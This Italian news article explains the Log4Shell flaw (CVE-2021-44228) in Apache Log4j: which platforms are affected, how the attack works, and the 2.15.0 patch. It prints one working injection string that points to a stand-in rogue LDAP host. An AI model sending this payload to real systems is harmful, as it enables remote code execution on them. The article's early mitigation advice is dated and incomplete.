Gli sviluppatori di Apache hanno reso disponibile un aggiornamento con cui risolvere la vulnerabilità 0-day (CVE-2021-44228) che affligge la libreria Log4j con un rischio per i server di numerose piattaforme ampiamente utilizzate, basti pensare a Minecraft, Steam, Twitter e iCloud, così come per i client che interagiscono con queste ultime.
Log4j: le piattaforme coinvolte
Parliamo di una vulnerabilità (nota anche come Log4Shell) talmente grave da meritarsi un punteggio pari a 10 su 10 nella scala CVSS (Common Vulnerability Scoring System), attraverso di essa un utente malintenzionato potrebbe dar vita ad attività RCE (Remote Code Execution) eseguendo del codice arbitrario senza necessità di autenticazione e con competenze tecniche relativamente basilari.
A tal proposito esisterebbe già il Proof of concept di un exploit che ha avuto come target Twitter.
In pratica la vulnerabilità deriverebbe da come i messaggi di log vengono gestiti dal log4j, se per esempio un attaccante inviasse un messaggio appositamente confezionato per contenere un stringa sul modello della seguente:
${jndi:ldap://rogueldapserver.com/a})
il risultato potrebbe essere quello di caricare del codice esterno e di eseguirlo. Lo schema seguente evidenzia ad esempio come tale procedura possa essere effettuata tramite il riferimento ad una JNDI (Java Naming and Directory Interface) in un User-Agent:
the #log4j scramble in a nutshell pic.twitter.com/XSwxEJucsI
— Yong Sheng (@ystan_) December 13, 2021
Gli effetti di un’azione malevola sono spiegati chiaramente nel bollettino riportato dal CSIRT (Computer Security Incident Response Team):
L’eventuale sfruttamento della falla consente l’esecuzione di codice arbitrario a danno dell’applicazione affetta. Gli aggressori, che non necessitano di un accesso preventivo al sistema, possono inviare una richiesta https malformata tramite una stringa appositamente predisposta, per generare un log su Log4j – che adotta JNDI (Java Naming and Directory Interface) – al fine di registrare la stringa dannosa nel registro dell’applicazione. Durante l’elaborazione del registro, il sistema vulnerabile si troverà nelle condizioni di esegue il codice appositamente inserito dall’utente malintenzionato. Questa condizione può ad esempio portare l’applicazione ad effettuare una richiesta verso un dominio dannoso per eseguire un payload malevolo. In questo modo per l’attaccante sarà possibile acquisire il controllo dell’applicazione interessata e l’accesso completo al sistema.
A rendere particolarmente preoccupante la vulnerabilità sarebbe il fatto che essa coinvolge praticamente tutte le soluzioni della Apache Software Foundation dedicate ai contesti enterprise tra cui ad esempio Struts, Flink, Druid, Flume, Solr e Kafka. Nello stesso modo potrebbero essere esposti a problematiche di sicurezza progetti come Redis, ElasticSearch ed Elastic Logstash.
Un aggiornamento risolutivo?
L’aggiornamento ora installabile è contenuto nella versione 2.15.0 e in molti si sono chiesti se con esso si potrà riportare alla normalità una situazione considerata non a torto compromessa.
Alcuni esperti di sicurezza hanno fatto notare che il rischio sarebbe concreto soltanto nel caso in cui il valore del parametro log4j2.formatMsgNoLookups dovesse essere settato su FALSE. Ora nella release 2.15.0 quest’ultimo sarebbe stato impostato su TRUE e riportarlo su FALSE non farebbe altro che annullare l’utilità della patch.
Stando così le cose, il fatto di agire direttamente sul parametro citato modificandone il valore in TRUE potrebbe risultare più efficace che applicare un aggiornamento in cui non viene conservato il valore predefinito per log4j2.formatMsgNoLookups.
Le versioni a rischio sono in pratica tutte quelle tra la 2.0 e la 2.14.1, a ciò si aggiunga che non di rado Log4j viene utilizzato con release di Java datate e obsolete che già di per sé non offrono importanti garanzie dal punto di vista della sicurezza.
Fonte: Log4j